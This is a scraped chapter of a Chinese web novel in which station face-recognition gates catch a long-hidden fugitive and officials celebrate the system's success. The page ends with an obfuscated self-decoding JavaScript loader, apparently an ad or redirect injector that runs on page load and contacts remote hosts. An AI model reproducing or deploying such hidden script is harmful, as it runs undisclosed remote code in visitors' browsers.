首页
第147章 落网
返回

第147章 落网

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    第147章落网
    八月的深城,热浪滚滚。
    深城北站的玻璃幕墙在阳光下闪烁着刺眼的光芒,站前广场上的喷泉努力地工作着,试图为这座城市带来一丝凉意。
    今天是个特殊的日子。
    经过一段时间的内部测试,深城北站的人脸识别闸机正式对外启用。
    站内大厅里,崭新的闸机整齐排列,银色的金属外壳在灯光下泛着冷冽的光泽。
    每台闸机的正面都有一块显眼的显示屏,上方是一个不起眼的凸起那里藏着高清摄像头。
    「各位旅客请注意,深城北站人脸识别快速通道现已开放,请携带二代身份证的旅客前往体验。」
    广播声在候车大厅里循环播放,吸引了不少好奇的目光。
    上午九点,人流开始密集起来。
    一个穿着考究的中年男人拖着行李箱走进了候车大厅。
    他身穿一件剪裁得体的深灰色Polo衫,手腕上戴着一块低调的名表,一看就是商务出行的精英人士。
    他叫谢志明,某科技公司的区域经理,每个月都要往返深城和魔都好几趟。
    今天他比平时早到了半个小时,不是因为害怕误车,而是特意想来看看新闻里说的那个刷脸进站到底是什么样。
    「人脸识别?」
    他站在大厅中央,目光在传统的人工检票通道和新设的自动闸机之间来回扫视。
    人工通道那边已经排起了长队,大多是上了年纪的旅客,或者是带着大包小包行李的人。
    他们对新事物总是抱有天然的警惕,宁可多等一会儿,也不愿意去尝试那些冷冰冰的机器。
    而自动闸机这边,人明显少得多。
    几个年轻人正在体验,动作熟练地将身份证往感应区一放,抬头看一眼摄像头,闸门就自动打开了。
    整个过程不超过三秒钟。
    「有点意思。
    谢志明嘴角微微上扬,拖着行李箱走向了自动闸机。
    一个穿着制服的工作人员迎了上来,脸上带着职业性的微笑。
    「先生您好,请把身份证放在这里。「她指了指闸机上的感应区,那里有一个醒目的蓝色标识。
    谢志明点点头,从西装内袋里掏出身份证。
    他看了看感应区的位置,有些强迫症地将身份证摆正,让它的边缘与标识线完全平行。
    「好了,请您抬头看这里。「工作人员指向闸机上方的摄像头。
    谢志明抬起头,下意识地挺直了腰板,就像在拍证件照一样。
    他盯着那个黑色的摄像头,心里有些紧张。
    这种被机器审视的感觉很奇怪,像是在接受某种无形的检验。
    「滴清脆的提示音响起,屏幕上显示出绿色的「验证通过「字样,闸门应声而开。
    「好了,您可以通过了。「工作人员微笑着做了个请的手势。
    谢志明愣了一下。
    就这样?
    他低头看了看手表,从放身份证到闸门打开,前后不到两秒钟。
    「这也太快了吧————「他喃喃自语,有些难以置信地走过闸门。
    身后,闸门自动关闭,等待下一位旅客。
    谢志明回头看了一眼那台闸机,眼神里带着几分惊叹。
    作为一个科技公司的从业者,他太清楚这背后需要多强的技术支撑。
    人脸识别丶活体检测丶身份证信息比对————这些功能要在两秒钟内完成,对算法和硬体的要求都高得吓人。
    「深城这是要搞大事啊。
    66
    他掏出手机,对着闸机拍了张照片,发了条朋友圈:「深城北站黑科技!刷脸进站,两秒通过,未来已来!
    发完朋友圈,他心情愉悦地拖着行李箱走向站台。
    这一幕,在其他几台闸机上也陆续上演。
    深城是一座包容的城市,来自五湖四海的人在这里打拼丶生活。
    他们见惯了各种新鲜事物,适应能力强得惊人。
    一个背着双肩包的年轻女孩在通过闸机后,兴奋地拉着同伴比划着名:「天哪,这也太方便了吧!以前排队检票至少要两三分钟,现在两秒钟就搞定了!
    「是啊是啊,而且不用把身份证给别人看,感觉隐私保护得更好。
    「我要发个朋友圈!这个必须安利给大家!
    几个穿着校服的中学生更是玩得不亦乐乎,一个接一个地刷脸进站,然后凑在一起看屏幕上显示的照片,嘻嘻哈哈地点评着谁的表情最搞笑。
    旁边的工作人员无奈地摇摇头,但眼角的笑意出卖了她的心情。
    新技术能被年轻人接受,就说明它有未来。
    然而,并不是所有人都像谢志明和那些年轻人一样顺利。
    上午十点半,一个五十多岁的大妈拖着一个鼓鼓囊囊的编织袋,颤巍巍地走向自动闸机。
    她是第一次坐高铁,女儿在魔都打工,托人买了票让她过去看看外孙。
    「大妈,把身份证放这里。「工作人员耐心地指导。
    大妈紧张地掏出身份证,手有些抖,放了好几次才放到正确的位置。
    「好,现在抬头看上面那个黑点点。
    大妈使劲仰起头,眼睛瞪得溜圆,表情僵硬得像一尊雕像。
    「滴闸门打开了。
    大妈却愣在原地,不敢动弹。
    「大妈,可以过去了,通过了。「工作人员轻声提醒。
    「啊?过了?「大妈一脸不可思议,「就————就这样?不用看票吗?
    「不用,您的信息都在系统里了,机器已经核验过了。
    大妈将信将疑地迈过闸门,走出去好几步还在回头张望。
    「这城里人真会玩————「她嘟囔着,「机器都能认人了,那以后还要人干啥!
    时间一分一秒地过去,越来越多的旅客开始尝试自动闸机。
    到了中午,人工通道的队伍明显短了很多,而自动闸机前反而排起了小队。
    站台上的工作人员看着这一幕,心里既欣慰又感慨。
    新技术的推广从来都不是一蹴而就的,它需要时间来证明自己,也需要人们慢慢去接受和适应。
    但只要第一批吃螃蟹的人觉得好,后面的人自然会跟上。
    这就是深城的速度。
    下午两点,深城北站迎来了一天中的客流高峰。
    暑运期间,返乡和出游的旅客交织在一起,将候车大厅挤得满满当当。
    人工检票通道前排起了长龙,队伍蜿蜒曲折,一眼望不到头。
    工作人员扯着嗓子维持秩序,额头上的汗珠不停地往下滴。
    「请大家保持秩序,不要插队!前面的旅客请提前准备好身份证和车票!
    一个三十岁出头的男人夹在人群中,神情焦躁。
    他穿着一件洗得有些发白的灰色T恤,牛仔裤上沾着几块不起眼的污渍,脚下是一双廉价的运动鞋。
    他叫张海,至少他的身份证上是这么写的。
    但如果有人能调出十二年前的通缉令,就会发现另一个名字:李德发。
    十二年前,他在老家因为一起斗殴案失手伤人,对方伤重不治。
    李德发吓得连夜跑路,从此隐姓埋名,辗转多个城市打工。
    跑路之前,他花大价钱买了一张张海的身份证。
    证件是真的,信息是真的,只不过原主人张海和他长得有六七分相似。
    这些年,他靠着这张身份证坐过飞机丶坐过火车丶住过酒店,从来没出过问题。
    毕竟是人工检票,工作人员每天要检查成千上万的旅客,谁会仔细盯着一张脸看?
    只要身份证上的照片和本人大致对得上,基本就放行了。
    久而久之,李德发的胆子也大了起来,甚至有些庆幸当年跑得快。
    十二年了,风平浪静,当年的事早就被忘了吧?
    但这十二年,他从没回过老家。
    不是不想,是不敢。
    老家是案发地,万一碰上认识的人,万一被人举报,他这些年的隐忍就全白费了。
    直到昨天,一个陌生的号码打过来。
    他犹豫了一下才接,电话那头是家里老父亲的声音,带着哭腔:「德发啊,你妈不行了,医生说撑不过这两天了,她一直念叨着想见你一面。
    电话那头的哽咽声像一把刀,狠狠扎进他的心里。
    李德发犹豫了一整夜。
    十二年了,他亏欠家人太多。
    逢年过节不敢回去,父母生病不敢露面,连电话都不敢多打一个。
    但这一次不一样。母亲快不行了。
    李德发最终还是买了一张回老家的高铁票。
    这一面,他不能不见。
    第二天一早,李德发来到深城北站。
    他以为这次也跟以前一样。
    直到看到那些银光闪闪的闸机,听到广播里不停播放的人脸识别四个字,李德发心里才莫名地涌起一股不安。
    「人脸识别?
    李德发听到广播里的宣传,身体不由自主地僵了一下。
    「各位旅客请注意,人脸识别快速通道现已开放,仅需刷脸即可快速进站,欢迎广大旅客体验————」
    李德发下意识地低下头,加快脚步走向人工通道。
    人工的好,人工的看不出来。
    他这样安慰自己,排在了长长的队伍末尾。
    队伍移动得很慢,每个人都要把身份证递给工作人员,人工比对照片,确认无误后才能放行。
    李德发焦躁地看了看手表,距离发车还有十五分钟。
    按照这个速度,他很可能赶不上车。
    「妈的————「他低声咒骂,额头上渗出了细密的汗珠。
    周围的旅客也在抱怨,有人开始不耐烦地张望,寻找更快的通道。
    「那边人脸识别不是没什么人吗?过去试试呗。「有人提议。
    「算了算了,我不会弄那个,万一出问题更麻烦。
    「怕什么,我刚才看别人用了,两秒钟就过去了,快得很!
    几个人陆续离开队伍,走向了自动闸机。
    李德发看着他们的背影,内心在激烈地挣扎。
    去,还是不去?
    人脸识别会不会把他认出来?
    不可能的,他安慰自己。
    他现在用的是张海的身份,这些年变化很大,胖了二十多斤,发际线也后移了不少,跟十二年前的通缉照片判若两人。
    机器再厉害,也不可能认出他来。
    况且,如果不去刷脸,继续在这里排队,很可能赶不上车。
    赶不上车,就见不到母亲最后一面。
    「他妈的,拼了!」
    李德发一咬牙,离开队伍,大步走向自动闸机。
    此时的闸机通道只有两三个人在排队,很快就轮到了他。
    「先生您好,请把身份证放在这里。「工作人员微笑着指引。
    李德发掏出那张张海的身份证,手指微微颤抖。
    他深吸一口气,将身份证放到感应区。
    屏幕亮了起来,显示出身份证上的信息。
    「好的,请您抬头看摄像头。
    李德发抬起头,努力让自己的表情显得自然。
    但他的眼神出卖了他,那里面有掩饰不住的紧张和恐惧。
    摄像头的镜头像一只冷漠的眼睛,静静地注视着他。
    一秒。
    两秒。
    「滴屏幕上显示绿色的验证通过,闸门缓缓打开。
    李德发如释重负,腿都有些发软。
    「您可以通过了。「工作人员说道。
    「好,好的,谢谢。「他连声道谢,快步穿过闸门。
    成功了!
    李德发的心脏狂跳不止,但脸上却忍不住露出了一丝笑意。
    他就知道,这破机器认不出他来。
    李德发加快脚步,穿过候车大厅,走向站台入口。
    然而他不知道的是,就在他通过闸机的那一瞬间,后台的监控室里,一台电脑屏幕上跳出了一个红色的警告框。
    「疑似匹配人员」
    屏幕上并排显示着两张照片。
    左边是刚才闸机拍摄的李德发的实时照片,右边是一张模糊的老照片,十二年前的通缉照。
    照片下方,一行红色的数字格外刺眼:
    相似度:87.3%
    监控室里,值班的民警小王瞪大了眼睛。
    「卧槽————
    他立刻放大照片,仔细比对。
    虽然两张照片的年龄差异很大,但五官的轮廓丶眼睛的间距丶鼻梁的形状这些不会随着时间改变的特徵,却有着惊人的相似。
    「老刘!快来看!「他冲着旁边的同事喊道。
    老刘凑过来,看了一眼屏幕,表情顿时凝重起来。
    「这个李德发,十二年前的命案嫌疑人?
    「对,一直没抓到。「小王飞快地敲击键盘,调出更多信息,「这人刚过了三号闸机,现在应该还没上车。
    「马上联系站台!「老刘当机立断,「让安保拦住他,别惊动其他旅客!
    与此同时,三号闸机旁的工作人员小李也收到了后台的警报。
    她看了一眼电脑屏幕,心跳不由得加速。
    但她面上不动声色,只是对着对讲机轻声说了几句话。
    站台入口处,几个穿着制服的安保人员已经提前就位。
    他们面色平静,看起来只是在做日常的巡逻工作。
    李德发拖着脚步走来,脸上还带着劫后余生的庆幸。
    「先生,请等一下。「一个安保人员拦住了他。
    李德发心里咯噔一下,但还是强装镇定:「怎么了?
    「您的车票有点问题,麻烦跟我来确认一下。「安保人员的语气很客气,「不会耽误您太久。
    「问题?什么问题?「李德发的声音有些发颤。
    「系统显示您的票务信息异常,需要人工核实。这边走,很快就好。
    安保人员做了个请的手势,指向旁边一条人少的通道。
    李德发犹豫了一下,但看到周围已经有好几个安保人员在不经意地靠近,他知道自己没有选择。
    如果现在跑,只会死得更快。
    「好吧————「他强挤出一个笑容,跟着安保人员走进了那条通道。
    走到一个拐角处,周围已经没有其他旅客。
    「站住。
    安保人员的语气骤然变冷。
    下一秒,李德发的双臂被人从身后牢牢控制住,一副冰冷的手铐咔嚓一声扣在了他的手腕上。
    「你们干什么?!我是良民!你们凭什么抓我!「他开始挣扎,大声叫嚷。
    「李德发,你被捕了。
    一个便衣民警走到他面前,出示了证件。
    「十二年前,老家的故意杀人案,还记得吗?
    听到这句话,李德发的身体像是被抽空了力气,瞬间瘫软下来。
    「不可能的————不可能的————「他喃喃自语,「我都换了身份了,你们怎么可能找到我!
    「换身份?「便衣民警冷笑一声,「你的五官可换不了。人脸识别系统已经锁定了你。」
    「人脸识别————「李德发猛地抬起头,眼神里满是难以置信,「那个机器丶那个破机器?!」
    「对,就是那个破机器。「便衣民警拍了拍他的肩膀,「跟我们走吧,这十二年,你也该还了。
    李德发被押解着离开,低着头,一句话也说不出来。
    阳光从玻璃幕墙照进来,在地上投下斑驳的光影。
    候车大厅里人来人往,没有人注意到角落里发生的这一幕。
    接下来的一周,类似的场景在深城北站反覆上演。
    一个隐藏了八年的诈骗犯,在刷脸进站时被系统识别,当场落网。
    一个拐卖儿童的嫌疑人,化名逃窜多年,终于在这里被绳之以法。
    还有一个多年前的盗窃惯犯,本以为时效已过,没想到刚一露面就被抓了个正着。
    人脸识别系统就像一张无形的大网,悄无声息地笼罩在车站上空。
    那些自以为可以逃脱法律制裁的人,在这张网面前无所遁形。
    消息很快传开了。
    深城的各大媒体闻风而动,记者们蜂拥而至,长枪短炮对准了那些银光闪闪的闸机。
    「深城北站天眼显神威,人脸识别助力抓获多名逃犯!
    「刷脸进站不到两秒,十二年逃犯现原形!
    「高科技赋能智慧出行,深城安防迈入新时代!
    一篇篇报导铺天盖地,人脸识别闸机一时间成了全城热议的话题。
    社交媒体上,网友们也炸开了锅。
    「这也太牛了吧!以后坏人还敢出门吗?
    「深城速度!深城科技!为家乡骄傲!
    「请问这个系统是哪家公司做的?股票代码多少?在线等,挺急的!
    「逃了十二年都能抓到,这脸得长得多有特点啊哈哈哈哈——
    「楼上的,人家那叫生物特徵识别,跟长得有没有特点没关系好吗!
    热搜榜上,深城北站人脸识别的话题连续三天高居前十。
    而在这股舆论浪潮的背后,真正高兴的人是李局。
    部门的办公室里,李局正翘着二郎腿,美滋滋地刷着手机上的新闻报导。
    「看看,看看这标题!「他把手机举到黄处长面前,「高科技赋能智慧出行,这说的不就是咱们吗?
    黄处长凑过来看了一眼,也笑了起来:「李局英明,当初拍板上这个项目,现在看来是走对了。」
    「那是!「李局得意地哼了一声,「当初多少人反对,说什么技术不成熟丶成本太高丶老百姓不接受,现在呢?」
    他指了指窗外的方向:「现在全城都在夸咱们!
    「那深度视觉那边后续合作?「黄处长问道。
    「他们公司确实有两把刷子。「李局点点头,「这批闸机效果这么好,后续其他地方的部署也继续找他们。设备维护合同也可以续上。」
    他顿了顿道:「另外,我听说其他几个城市也有意向,到时候可以帮他们牵牵线。咱们深城先走一步,也算是给兄弟城市打个样。」
    「好主意。「黄处长点点头,「这种利国利民的事,确实应该多推广。
    66
    深城北站的成功,像一颗石子投入平静的湖面,激起的涟漪正在向外扩散。
    首先坐不住的,是深城宝安机场。
    机场候机楼的会议室里,一场内部会议正在进行。
    「车站的事,大家都听说了吧?
    机场运营部的张站长坐在会议桌的主位上,目光扫过在座的每一个人。
    「人脸识别闸机上线一周,抓获多名在逃人员,媒体报导铺天盖地,社会反响热烈。」
    他敲了敲桌子,语气里带着几分急切:「车站可以,我们为什么不可以?
    会议室里一片沉默。
    张站长继续说道:「机场的安检级别比火车站更高,对安全的要求更严格。
    如果我们也能引入这套系统,不仅能提升安检效率,更能加强安保力度。大家想想,一旦有什么敏感人员想要出境,我们就能第一时间拦截!
    「可是————「安检部的负责人犹豫着开口,「这套系统的成本应该不低吧?而且我们机场的客流量比火车站大得多,现有的设施能不能支撑?
    「成本可以谈,技术问题可以论证。「张站长摆摆手,「关键是方向要对。这是大势所趋,早上晚上都得上,与其等别人都上了我们再追,不如现在就抢占先机。
    他看向坐在角落里的一个年轻人:「小刘,你之前跟信科部门的李局有过接触,能不能帮忙搭个桥?让我们跟深度视觉的人见一面,了解一下这套系统的具体情况。」
    小刘点点头:「没问题,我下午就联系李局。」
    「好!「张站长一拍桌子,「就这么定了。会后各部门做个可行性评估,下周给我交报告。我们争取年底前完成招标,明年初上线!」
    会议室里响起一阵应和声。
    与此同时,类似的讨论也在其他城市悄然进行。
    深城北站的成功案例像长了翅膀一样,飞向了全国各地。
    各地的交通枢纽丶安防部门纷纷派人前来考察学习,深度视觉的名字开始在圈子里口口相传。
    这一切,陈阳暂时还不知道。
    此时的他,正坐在公司的办公室里,盯着电脑屏幕上的一份设计图发呆。
    <insclass="pubadx-slot"data-zoneid="10802"></ins>
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();